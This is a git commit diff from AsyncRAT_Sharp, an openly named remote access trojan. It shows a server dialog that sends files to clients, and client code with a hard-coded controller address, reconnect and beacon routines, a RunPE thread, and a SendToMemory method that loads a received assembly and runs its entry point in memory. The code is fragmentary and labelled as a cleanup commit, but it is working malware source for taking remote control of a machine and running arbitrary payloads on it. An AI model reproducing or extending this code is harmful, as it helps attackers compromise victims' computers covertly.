Update
Clean the code. Fixed SendToMemory dialog bug.
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e9d1f6932c
commit
cda9bb7d43
@ -217,6 +217,8 @@ namespace AsyncRAT_Sharp
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{
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SendFileToMemory SF = new SendFileToMemory();
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SF.ShowDialog();
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if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green)
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{
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MsgPack msgpack = new MsgPack();
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msgpack.ForcePathObject("Packet").AsString = "sendMemory";
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msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString()));
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@ -240,6 +242,7 @@ namespace AsyncRAT_Sharp
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CL.LV.ForeColor = Color.Red;
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});
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}
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}
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SF.Close();
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}
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}
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@ -21,6 +21,8 @@
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<DefineConstants>DEBUG;TRACE</DefineConstants>
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<ErrorReport>prompt</ErrorReport>
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<WarningLevel>4</WarningLevel>
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<DocumentationFile>
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</DocumentationFile>
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</PropertyGroup>
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<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
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<PlatformTarget>x86</PlatformTarget>
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@ -23,6 +23,7 @@ using System.Security.Cryptography;
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namespace Client
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{
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/// The Main Settings
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class Settings
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{
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public static readonly string IP = "127.0.0.1";
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@ -30,6 +31,8 @@ namespace Client
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public static readonly string Version = "0.2.2";
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}
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/// The Main Class
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/// Contains all methods for socket and reading the packets
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class Program
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{
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public static Socket Client { get; set; }
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@ -49,6 +52,7 @@ namespace Client
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}
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}
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/// Initialization variables and connect to socket.
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public static void InitializeClient()
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{
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try
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@ -80,6 +84,7 @@ namespace Client
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}
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}
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/// Cleanup everything and start to connect again.
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public static void Reconnect()
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{
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if (Client.Connected) return;
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@ -88,11 +93,8 @@ namespace Client
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try
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{
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if (Client != null)
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{
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Client.Close();
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Client.Dispose();
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}
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Client?.Close();
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Client?.Dispose();
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}
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catch { }
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@ -101,6 +103,7 @@ namespace Client
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InitializeClient();
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}
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/// Method to send our ID to server's listview.
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private static byte[] SendInfo()
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{
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MsgPack msgpack = new MsgPack();
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@ -132,6 +135,8 @@ namespace Client
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return strResult.ToString().Substring(0, 12).ToUpper();
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}
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/// get the length of the buffer by reading byte by byte [1]
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/// until we get the full size.
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public static void ReadServertData(IAsyncResult ar)
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{
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try
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@ -195,6 +200,7 @@ namespace Client
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}
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}
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/// Handle the packet
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public static void Read(object Data)
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{
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try
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@ -245,7 +251,6 @@ namespace Client
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thread = new Thread(new ParameterizedThreadStart(RunPE));
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}
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thread.Start(parameters);
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}
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break;
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@ -304,8 +309,7 @@ namespace Client
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private static void SendToMemory(object obj)
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{
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object[] Obj = (object[])obj;
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var Buffer = (byte[])Obj[0];
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var Injection = (string)Obj[1];
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byte[] Buffer = (byte[])Obj[0];
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Assembly Loader = Assembly.Load(Buffer);
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object[] Parameters = null;
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if (Loader.EntryPoint.GetParameters().Length > 0)
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@ -313,7 +317,6 @@ namespace Client
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Parameters = new object[] { new string[] { null } };
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}
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Loader.EntryPoint.Invoke(null, Parameters);
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}
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private static void RunPE(object obj)
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@ -338,6 +341,8 @@ namespace Client
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BeginSend(msgpack.Encode2Bytes());
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}
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/// Send
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/// adding the buffersize in the beginning of the stream
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public static void BeginSend(byte[] buffer)
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{
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lock (SendSync)
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